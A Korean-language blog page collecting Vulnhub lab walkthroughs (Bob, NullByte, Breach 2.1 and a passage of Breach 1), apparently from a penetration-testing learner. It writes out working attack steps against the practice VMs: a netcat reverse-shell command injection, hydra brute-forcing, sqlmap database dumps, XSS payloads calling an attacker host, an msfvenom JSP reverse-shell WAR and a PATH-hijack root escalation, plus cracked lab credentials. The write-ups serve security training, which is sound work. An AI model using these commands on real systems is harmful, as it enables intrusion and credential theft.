https://www.vulnhub.com/entry/bob-101,226/

 

Bob: 1.0.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

Discovery

└─$ sudo nmap -sn 172.16.1.0/24                                              
Nmap scan report for 172.16.1.7
Host is up (0.00023s latency).
MAC Address: 00:0C:29:55:7C:E3 (VMware)

SSH 접속 시도 후에 웹에서 정보 수집 하겠습니다

 

 

 

WEB

milburg 고등학교 웹 사이트 입니다

/contact.html에서 얻을 수 있는 정보는 계정 정보로 쓰일만한 이름, 휴대폰 번호, 그리고 email 까지 개인정보를 획득 할 수 있습니다

curl를 이용해서 소스코드를 가져온 다음 이름 정보를 파싱해보겠습니다

└─$ └─$ curl http://172.16.1.7/contact.html > contact.html 
└─$ cat contact.html | grep -i '<h5>' | cut -d '>' -f 2 | cut -d '<' -f 1 | tr -d ' '
DeanMacDuffy
PaulK
DanielR
AlexF
RobertJ
BobJ
SebastianW
ElliotA
JospehC

이정도 하면 될 거같습니다

 

/robots.txt 입니다 

하나씩 확인해보죠

RCE가 가능할 까요?

가능하네요!

위와 같은 명령어 주입 시 출력 결과입니다

/etc/passwd 파일을 출력했는데, cat은 사용불가, more로 파일을 확인했습니다

여기서 접속 할 수 있는 유저 한번 찾아보겠습니다

DeanMacDuffy
PaulK
DanielR
AlexF
RobertJ
BobJ:bob
SebastianW:seb
ElliotA:elliot
JospehC
=====================
# new username
c0rruptedb1t
jc

 

계속 정보 수집 진행합니다

 

이미 RCE 취약점을 발견했습니다

콜론을 사용하면 정상적인 출력이 되지 않지만 파이프라인이나, && 등을 사용한다면 명령어를 이어서 사용이 가능합니다

 

Exploitation

RCE 취약점을 이용해 리버스쉘 페이로드를 삽입하여 대상 호스트로부터 쉘을 획득하겠습니다

# listening
nc -nlvp 7777

# payload
id | nc 172.16.1.6 7777 -e /bin/bash

jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
www-data@Milburg-High:/home/bob/Documents$ cat staff.txt 
Seb:

Seems to like Elliot
Wants to do well at his job
Gave me a backdoored FTP to instal that apparently Elliot gave him

James:

Does nothing
Pretty Lazy
Doesn't give a shit about his job

Elliot:

Keeps to himself
Always needs to challenge everything I do
Keep an eye on him
Try and get him fired

www-data@Milburg-High:/home/bob/Documents$ ls
Secret  login.txt.gpg  staff.txt
www-data@Milburg-High:/home/bob/Documents$ cd Secret/
www-data@Milburg-High:/home/bob/Documents/Secret$ ls
Keep_Out
www-data@Milburg-High:/home/bob/Documents/Secret$ cd Keep_Out/
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out$ ls
Not_Porn  Porn
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out$ cd Not_Porn/
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out/Not_Porn$ ls
No_Lookie_In_Here
<nts/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here/                    
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls
notes.sh
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ cat notes.sh 
#!/bin/bash
clear
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"

디렉터리를 파고파고 들다가 notes.sh를 발견했습니다

첫 글자 대문자만 파싱을 해보겠습니다

cat notes.sh  | grep 'echo' | cut -d '"' -f 2 | cut -c 1 | paste -s -d ''
-HARPOCRATES

HARPOCRATES이 되겠습니다

그리고 gpg 파일이 하나 있었는데 여기서 활용을 해보겠습니다

근데 현 유저에서는 권한이 없어서 불가능하니 이전에 획득했던 계정 정보로 로그인해서 시도해보겠습니다

www-data@Milburg-High:/home/bob/Documents$ su jc
Password: 
jc@Milburg-High:/home/bob/Documents$ ls
login.txt.gpg  Secret  staff.txt
jc@Milburg-High:/home/bob/Documents$ gpg
gpg: keybox '/home/jc/.gnupg/pubring.kbx' created
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: Go ahead and type your message ...
^C
gpg: signal Interrupt caught ... exiting

<ocuments$ gpg --batch --passphrase HARPOCRATES -d login.txt.gpg             
gpg: AES encrypted data
gpg: encrypted with 1 passphrase
bob:b0bcat_




# bob Credentials
bob:b0bcat_

sudo 가 가능한 유저입니다

 

Privilege Escalation

bob@Milburg-High:~$ sudo -l

\
sudo: unable to resolve host Milburg-High: Connection timed out
[sudo] password for bob: 
Sorry, try again.
[sudo] password for bob: 
Matching Defaults entries for bob on Milburg-High:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on Milburg-High:
    (ALL : ALL) ALL

sudo -l에 대한 출력이 오래걸리네요,,

root@Milburg-High:/# cat flag.txt 
CONGRATS ON GAINING ROOT

        .-.
       (   )
        |~|       _.--._
        |~|~:'--~'      |
        | | :   #root   |
        | | :     _.--._|
        |~|~`'--~'
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
        | |
   _____|_|_________ Thanks for playing ~c0rruptedb1t

'Vulnhub' 카테고리의 다른 글

[Vulnhub] NullByte Walkthrough  (3) 2024.07.24
[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16

https://www.vulnhub.com/entry/nullbyte-1,126/

 

NullByte: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

Discovery

└─$ sudo nmap -sn 192.168.45.0/24                                          
Nmap scan report for 192.168.45.37
Host is up (0.00033s latency).
MAC Address: 00:0C:29:1E:71:AB (VMware)

http-80 부터 직접 접속해봅니다

 

WEB

page source, robots.txt 특이사항 없습니다

 

gobuster를 이용한 디렉터리 브루트포싱 진행

phpmyadmin, 관리자 패널이 존재합니다

특이사항 및 기본 계정 정보 사용 유무 확인 -> 이상 없음

 

메인 페이지에 있는 이미지 파일 다운 후 exiftool 로 확인

└─$ exiftool main.gif 
ExifTool Version Number         : 12.76
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Access Date/Time           : 2024:07:24 04:13:06-04:00
File Inode Change Date/Time     : 2024:07:24 04:13:06-04:00
File Permissions                : -rw-rw-r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071

Comment 나이스 합니다

 

Vulnerability & Exploitation

페이지 소스를 확인해보니

mysql과 연결되어있지 않다...음 

경로를 추가해 디렉터리 브루트포싱 한번 더 진행해봤는데 더이상의 디렉터리는 없었고,,,

 

key에다가 hydra 툴을 이용하여 비밀번호 브루트포싱 공격을 실시해봅니다

올바르지 않은 비밀번호를 입력할 시 invalid key 라는 문자가 출력됩니다

└─$ hydra -l ignore -P /usr/share/wordlists/rockyou.txt 192.168.45.37 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"

 

key: elite

 

 

username을 치면 새로운 420search.php로 리다이렉션되는데 뭔가 데이터베이스와 연동이 되어있을 확률이 존재하니 http request를 프록시를 이용해서 복사해온 다음 sqlmap을 이용하여 데이터베이스에 접근해봅니다

└─$ sqlmap -r request.txt --dbs --batch
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

성공했습니다 쭉쭉 진행해봅니다

└─$ sqlmap -r request.txt -D seth --tables --batch

[04:39:32] [INFO] fetching tables for database: 'seth'
Database: seth
[1 table]
+-------+
| users |
+-------+

└─$ sqlmap -r request.txt -D seth -T users --dump --batch

[04:40:28] [INFO] fetching entries for table 'users' in database 'seth'
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

ramses:omega

SSH로 대상 호스트 초기 침투 실시

ramses 유저 장악 완료, 대상호스트 초기 침투 완료

 

 

Post-Expoitation

ramses@NullByte:~$ cat .bash_history 
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch 
clear
sudo -s
cd /
ls
exit
ramses@NullByte:~$ sudo -l
[sudo] password for ramses: 
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:~$ cd /var/www
ramses@NullByte:/var/www$ ls
backup  html
ramses@NullByte:/var/www$ cd backup
ramses@NullByte:/var/www/backup$ ls
procwatch  readme.txt
ramses@NullByte:/var/www/backup$ ls -al
total 20
drwxrwxrwx 2 root root 4096 Aug  2  2015 .
drwxr-xr-x 4 root root 4096 Aug  2  2015 ..
-rwsr-xr-x 1 root root 4932 Aug  2  2015 procwatch
-rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt
ramses@NullByte:/var/www/backup$ cat readme.txt 
I have to fix this mess... 
ramses@NullByte:/var/www/backup$ file procwatch 
procwatch: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17d666a0c940726b29feedde855535fb21cb160c, not stripped
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1598 pts/0    00:00:00 procwatch
 1599 pts/0    00:00:00 sh
 1600 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$

procwatch라는 바이너리는 관리자 권한으로 실행 될 수 있도록 suid 설정이 되어있습니다

즉 관리자 권한으로 ps 명령어를 실행하는 바이너리 입니다

 

 

Privilege Escalation

ramses@NullByte:/var/www/backup$ which ps
/bin/ps
ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ echo $PATH                                                   
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch 
#

/bin/sh를 ps로 심볼릭 링크로 설정한 다음 현재 디렉터리에 대한 환경 변수 조작을 통해서 /var/www/backup에서  suid 설정된 procwatch 바이너리가 실행됨으로써 관리자 권한으로 /bin/sh가 실행되는 과정이다.

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Bob Walkthrough  (0) 2024.07.25
[Vulnhub] Breach: 2 Walkthrough  (4) 2024.07.23
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16

https://www.vulnhub.com/entry/breach-21,159/

 

Breach: 2.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 실습 VM 또한 192.168.110.151로 IP가 고정되어있다고 합니다

 

Reconnaissance

IP discovery

└─$ sudo nmap -sn 192.168.110.0/24
Nmap scan report for 192.168.110.151
Host is up (0.00018s latency).
MAC Address: 00:0C:29:FB:15:58 (VMware)

#pasing
└─$ cat ./recon/tcpAll.nmap | grep -i '/tcp' | awk '{ print $1 }' | grep -i '/' | cut -d '/' -f 1 | paste -s -d ','
111,51891,65535

 

└─$ sudo nmap -p 111,51891,65535 -Pn -n --open -sV -sC -iL scope.txt -oA ./recon/tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 02:54 EDT
Nmap scan report for 192.168.110.151
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41558/tcp6  status
|   100024  1          44049/udp   status
|   100024  1          51891/tcp   status
|_  100024  1          55652/udp6  status
51891/tcp open  status  1 (RPC #100024)
65535/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey: 
|   1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
|   2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|   256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
|_  256 3b:4d:56:37:5e:c3:45:75:15:cd:85:00:4f:8b:a8:5e (ED25519)
MAC Address: 00:0C:29:FB:15:58 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

얻은 정보

Peter:inthesource

바로 종료되어버렸는데요, 포트스캐닝을 다시 돌려보겠습니다

└─$ sudo nmap -p- -iL scope.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 03:08 EDT
Nmap scan report for 192.168.110.151
Host is up (0.0023s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
51891/tcp open  unknown
65535/tcp open  unknown
MAC Address: 00:0C:29:FB:15:58 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 16.99 seconds

 

비밀번호가 입력되면서 80번 포트가 트리거 되는가봅니다

한번 접속해서 정보 수집을 계속 진행해보겠습니다

 

HTTP

페이지 소스, robots.txt 는 별다른 특이사항 없습니다

gobuster를 이용해 디렉터리 브루트포싱을 진행해보겠습니다

 

Vulnerability

/blog 경로를 추가해 한번더 디렉터리 브루트포싱을 진행해봅니다

/smilies에서는 별다른 특이사항 없었음

tinymce 라는 폴더가 있습니다

아까 웹 사이트에서 봤을때는 활용할 만한 특이점이 없었던 것같고, 

 

blogphp에 대한 취약점을 검색합니다

 

Exploitation

XSS와 SQL Injection이 가능한 취약점이 있습니다 CVE-2008-6745 코드도 있군요

 

XSS를 이용해 대상 호스트의 쉘을 우선 획득해보겠습니다

register.html에서 회원가입하는 username을 <img src="http://192.168.110.129:2222"> 로 해줍니다

그전에 nc를 이용한 리스닝 먼저해야겠죠?

└─$ nc -lvp 2222

 

 

이렇게 request를 받을 수 있습니다 웹 사이트는

계속 대기중입니다 테스트를 했으니

 

이제 metasploit을 이용해서 대상 호스트의 쉘을 획득해보겠습니다

이번엔  <iframe src="http://192.168.110.129:2345"></iframe> 을 이용해서 유저를 생성합니다

msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set srvhost 192.168.110.129           
srvhost => 192.168.110.129
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set srvport 1234                      
srvport => 1234                          
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set uripath /                         
uripath => /                                   
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set lport 3333                        
lport => 3333                                                                                 
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > exploit

이 과정을 설명드리자면,

1. nc로 대상호스트의 XSS 취약점을 이용해 공격자 PC 에서 리스닝한다

2. 공격자 PC에서 리스닝되어있는 nc을 이용해 대상호스트에 대한 쉘을 획득한다.

정도가 되겠습니다

 

근데,, 에러가 발생해서 이정도 기법을 이해하는 정도로 하고 마무리하겠습니다..

다음에 다시 도전해보겠습니다

 

SQL injection이 가능하다고 해서 아래 코드와 같이 sqlmap을 이용해서 admin 계정에 대한 해시화된 비밀번호 획득 그리고 MD5 복호화를 통해 admin 획득 완료 했습니다

sqlmap -r search.txt -dbs --batch
sqlmap -r search.txt -dbs -D oscommerce --tables --batch
sqlmap -r search.txt -dbs -D oscommerce -T osc_administrators --dump --batch


available databases [5]:
[*] blog
[*] information_schema
[*] mysql
[*] oscommerce
[*] performance_schema

Database: oscommerce
Table: osc_administrators
[1 entry]
+----+-----------+-------------------------------------+
| id | user_name | user_password                       |
+----+-----------+-------------------------------------+
| 1  | admin     | 685cef95aa31989f2edae5e055ffd2c9:32 |
+----+-----------+-------------------------------------+


# admin credentials
admin:32admin

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Bob Walkthrough  (0) 2024.07.25
[Vulnhub] NullByte Walkthrough  (3) 2024.07.24
[Vulnhub] Brearch Walkthrough  (6) 2024.07.22
[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16

https://www.vulnhub.com/entry/breach-1,152/

 

Breach: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 주말동안 내부망 모의해킹 홈랩을 준비한다고 kali linux 환경을 VMware Workstation으로 마이그레이션했습니다~

이전에 클라우드 공부할때 VMware 사용을 해봐서 그래도 수월하게 환경 셋팅까지 마무리하고 다시 Breach 부터 실습을 진행합니다

 

특이사항으로는 이 실습 VM은 192.168.110.140 으로 IP가 고정되어있어서 NAT 네트워크 카드를 192.168.110.0/24 대역대로 바꿔서 실습을 진행해줍니다

 

 

Reconnaissance

discovery

└─$ sudo nmap -sn 192.168.110.0/24
Nmap scan report for 192.168.110.140
Host is up (0.00015s latency).
MAC Address: 00:0C:29:17:24:9F (VMware)

110.140이 업 상태에 있죠?

nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open -iL ./scope.txt -oA ./recon/tcpAll

스캐닝을 했는데 전부 다 열려있네요,,,

흔히 많이 사용하는 포트 부터 간단하게 정보 수집해봅니다

# ftp - 21
└─$ ftp 192.168.110.140
Connected to 192.168.110.140.
550 12345 0f7000f800770008777000000000000000f80008f7f70088000cf00421 Service not available, remote server has closed connection.
ftp> ls
Not connected.


#smtp - 25
└─$ telnet 192.168.110.140 25
Trying 192.168.110.140...
Connected to 192.168.110.140.
Escape character is '^]'.
550 12345 0ff0808800cf0000ffff70000f877f70000c70008008ff8088fff00Connection closed by foreign host.

# mount
└─$ showmount -e 192.168.110.140                                                        
clnt_create: RPC: Unable to receive

# smb - 445 
└─$ smbclient -L 192.168.110.140
Protocol negotiation to server 192.168.110.140 (for a protocol between LANMAN1 and SMB3) failed: NT_STATUS_CONNECTION_RESET

 

딱히 특이사항 없으니 web 정보 수집 진행해봅니다

WEB

페이지 소스 주석 처리된 암호화된 문자

base64 디코딩 진행합니다

└─$ echo 'Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo' | base64 --decode | base64 --decode
pgibbons:damnitfeel$goodtobeagang$ta

2단으로 인코딩 되어있었습니다

 

그리고 intech.html 이라는 하이퍼링크가 보이죠?

그리고 Employee portal에 들어가니 impresscms가 구성되어있습니다

그리고 위에서 얻은 계정 정보로 로그인을 시도하니 성공했습니다 그리고 submit을 눌러 이것 저것 확인해봅니다

뭔가 이용할 만한 취약점을 찾기 위해서 좀 더  정보를 파악해봅니다

 

Vulnerability

192.168.110.140/.keystore

SSL 

└─$ wget http://192.168.110.140/.keystore                                                     
--2024-07-22 04:55:41--  http://192.168.110.140/.keystore              
Connecting to 192.168.110.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2245 (2.2K)
Saving to: ‘.keystore’

.keystore                                       100%[====================================================================================================>]   2.19K  --.-KB/s    in 0s      

2024-07-22 04:55:41 (383 MB/s) - ‘.keystore’ saved [2245/2245]

└─$ strings .keystore      
tomcat
R|(A
q15Y?
]c["y
Yrf!K\
@V      e
2j;2>
A@7B
`=aw
]]bOP
Ksh\x
c\q
e@&~
@-C8o
GF-=#sO
*O\F
Qt;6
X.509
Unknown1
Unknown1
Unknown1
Unknown1
Unknown1
Unknown0
160520175107Z
160818175107Z0l1
Unknown1
Unknown1
Unknown1
Unknown1
Unknown1
Unknown0
W1,X
jg&_jp
*EyX,9  p

음 ...

이건 아닌거같고, 

SSL에 관해서 찾아봅시다

└─$ wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
--2024-07-22 04:58:33--  http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
Connecting to 192.168.110.140:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41412 (40K) [application/vnd.tcpdump.pcap]
Saving to: ‘_SSL_test_phase1.pcap’

_SSL_test_phase1.pcap                           100%[====================================================================================================>]  40.44K  --.-KB/s    in 0s      

2024-07-22 04:58:33 (200 MB/s) - ‘_SSL_test_phase1.pcap’ saved [41412/41412]

└─$ wireshark _SSL_test_phase1.pcap

대부분 암호화 되어있는데 이것을 풀기 위해서 .keystore를 사용했던 것 같습니다

 

구글에서 검색해보니 java keytool 이라는 것을 사용해서 암호화 된 것을 복호화 해야합니다

우선 keystore -> PKCS12로 변경 -> 복호화를 진행

└─$ keytool -importkeystore \
> -srckeystore keystore \
> -destkeystore keystore.p12 \
> -deststoretype PKCS12 \
> -srcalias tomcat \
> -deststorepass tomcat \
> -destkeypass tomcat
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Importing keystore keystore to keystore.p12...
Enter source keystore password:

└─$ ls
keystore  keystore.p12  recon  scope.txt  _SSL_test_phase1.pcap

 

wireshark를 다시 실행 해준다음 Edit -> Preference -> Protocol 에서 TLS를 찾아줍니다

Edit를 눌러 위와 같이 추가해줍니다 이후 다운받았던 pcap 파일을 다시 열어서 확인해보면 아래와 같이 확인이 가능합니다

└─$ echo 'dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC' | base64 --decode
tomcat:Tt\5D8F(#!*u=G)4m7zB

base64로 암호화된 비밀번호 획득 -> 디코딩 

얻은 계정 정보로 /_M@nag3Me/html로 접속해봅니다 물론 포트는 8443 이겠죠? 명심하셔야합니다 그리고 앞에 https를 붙여야합니다!

이제 공격을 해야할 때가 왔습니다

이 tomcat 관리자 페이지에 접속을 하면 리버스쉘로 이루어진 war 파일을 업로드하면 리버스쉘을 획득 할 수 있습니다

 

Exploitation

msfvenom 툴을 이용해서 페이로드를 생성해봅니다

└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=7777 -f war -o revshell.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes
Saved as: revshell.war


# reverse shell listening
└─$ nc -nlvp 7777            
listening on [any] 7777 ...

/revshell을 클릭해줍니다!

대상 호스트에 초기 침투 완료했습니다

 

Post-Exploitation

여기저기 찾아보다가 777권한을 가진 디렉터리 /var/www/5446를 발견했고, php 파일에서 데이터베이스에 대한 정보를 획득 했습니다

tomcat6@Breach:/var/www/5446$ cat 0d93f85c5061c44cdffeb8381b2772fd.php
<?php
/**
* All information in order to connect to database are going through here.
*
* Be careful if you are changing data's in this file.
*
* @copyright    http://www.xoops.org/ The XOOPS Project
* @copyright    XOOPS_copyrights.txt
* @copyright    http://www.impresscms.org/ The ImpressCMS Project
* @license              http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU General Public License (GPL)
* @package              installer
* @since                1.0
* @author               marcan <marcan@impresscms.org>
* @author          Sina Asghari (aka stranger) <pesian_stranger@users.sourceforge.net>
* @version              $Id: sdata.dist.php 8570 2009-04-11 13:15:53Z icmsunderdog $
*/

// Database Hostname
// Hostname of the database server. If you are unsure, 'localhost' works in most cases.
define( 'SDATA_DB_HOST', 'localhost' );

// Database Username
// Your database user account on the host
define( 'SDATA_DB_USER', 'root' );

// Database Password
// Password for your database user account
define( 'SDATA_DB_PASS', '' );

// Database Name
// The name of database on the host. The installer will attempt to create the database if not exist
define( 'SDATA_DB_NAME', 'impresscms' );

// Table Prefix
// This prefix will be added to all new tables created to avoid name conflict in the database. If you are unsure, just use the default 'icms'
define( 'SDATA_DB_PREFIX', 'ia44db101' );

// Password Salt Key $mainSalt
// This salt will be appended to passwords in the icms_encryptPass() function.
// Do NOT change this once your site is Live, doing so will invalidate everyones Password.
define( 'SDATA_DB_SALT', 'EQ9eLioElpacrtYZFQrGiDvB5OQGXzq2jfA4okdsZzkVNGhka6blxUTrozLOuFSA4' );

비밀번호가 없네요!! 한번 접속해봅니다

?>tomcat6@Breach:/var/www/5446$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 104
Server version: 5.5.49-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| impresscms         |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.03 sec)

mysql> use mysql;
mysql> show tables;
mysql> select Host,User,Password from user;
+-----------+------------------+-------------------------------------------+
| Host      | User             | Password                                  |
+-----------+------------------+-------------------------------------------+
| localhost | root             |                                           |
|           | milton           | 6450d89bd3aff1d893b85d3ad65d2ec2          |
| 127.0.0.1 | root             |                                           |
| ::1       | root             |                                           |
| localhost | debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878 |
+-----------+------------------+-------------------------------------------+
5 rows in set (0.00 sec)

milton 발견,,,ㅎㅎ 해시크래킹 시도해봅니다

decrypt 결과 

6450d89bd3aff1d893b85d3ad65d2ec2 : thelaststraw

# milton credentials

milton:thelaststraw

 

 

Privilege Escalation

milton@Breach:~$ cat some_script.sh 


 _____ _                   _                   _   _     _               _                   
|_   _| |                 ( )                 | | | |   (_)             | |                  
  | | | |__   ___ _ __ ___|/ ___   _ __   ___ | |_| |__  _ _ __   __ _  | |__   ___ _ __ ___ 
  | | | '_ \ / _ \ '__/ _ \ / __| | '_ \ / _ \| __| '_ \| | '_ \ / _` | | '_ \ / _ \ '__/ _ \
  | | | | | |  __/ | |  __/ \__ \ | | | | (_) | |_| | | | | | | | (_| | | | | |  __/ | |  __/
  \_/ |_| |_|\___|_|  \___| |___/ |_| |_|\___/ \__|_| |_|_|_| |_|\__, | |_| |_|\___|_|  \___|
                                                                  __/ |                      
                                                                 |___/

milton이 속한 그룹에 adm이 포함되어있었습니다

milton@Breach:~$ find / -group adm -type f -ls   2> /dev/null | grep -v '.gz'
530040    0 -rw-r-----   1 mysql    adm             0 Jun  7  2016 /var/log/mysql.log
526766    0 -rw-r-----   1 root     adm             0 Jun  6  2016 /var/log/apt/term.log
524944  116 -rw-r-----   1 root     adm        118463 Jul 22 13:22 /var/log/dmesg
530047 3520 -rw-r-----   1 syslog   adm       3597275 Jun  5  2016 /var/log/kern.log.1
530053   32 -rw-r-----   1 mysql    adm         24759 Jul 22 13:22 /var/log/mysql/error.log
530048  164 -rw-r-----   1 syslog   adm        163180 Jun  6  2016 /var/log/auth.log.1
524835  116 -rw-r-----   1 root     adm        118669 Jul 22 13:06 /var/log/dmesg.0
525299    4 -rw-r-----   1 root     adm            31 Feb 17  2016 /var/log/fsck/checkroot
525298    4 -rw-r-----   1 root     adm            31 Feb 17  2016 /var/log/fsck/checkfs
528284  752 -rw-r-----   1 root     adm        767861 Jun  6  2016 /var/log/apache2/other_vhosts_access.log.1
530018    0 -rw-r-----   1 root     adm             0 Jun  7  2016 /var/log/apache2/other_vhosts_access.log
530019 3804 -rw-r-----   1 root     adm       3890033 Jun  6  2016 /var/log/apache2/access.log.1
526554 14608 -rw-r-----   1 root     adm      14955108 Jul 22 13:58 /var/log/apache2/access.log
530042  648 -rw-r-----   1 root     adm        659383 Jun  6  2016 /var/log/apache2/error.log.1
526649 8796 -rw-r-----   1 root     adm       9001989 Jul 22 13:38 /var/log/apache2/error.log
528194    0 -rw-r-----   1 mysql    adm             0 May 24  2016 /var/log/mysql.err
526625 3016 -rw-r-----   1 syslog   adm       3084253 Jul 22 13:28 /var/log/kern.log
526622 2660 -rw-r-----   1 syslog   adm       2718042 Jul 22 14:57 /var/log/syslog
528197  828 -rw-r-----   1 syslog   adm        841429 Jun  7  2016 /var/log/syslog.1
528385  248 -rw-r-----   1 syslog   adm        248492 Jul 22 14:57 /var/log/auth.log

 

.gz 제외하고 /var/log/syslog 확인해봅니다

cron에서 /usr/share/cleanup/tidyup.sh 스크립트가 실행되고있습니다.

 

milton@Breach:~$ cat /usr/share/cleanup/tidyup.sh
#!/bin/bash

#Hacker Evasion Script 
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

매 3분마다 아래의 스크립트가 실행됩니다. 근데 쓰기 권한이 없어 다른  쓰기 권한이 있는 파일을 찾아야합니다

 

milton@Breach:~$ find / -writable -type f 2> /dev/null
...
/etc/init.d/portly.sh
...
milton@Breach:~$ ls -al /etc/init.d/portly.sh
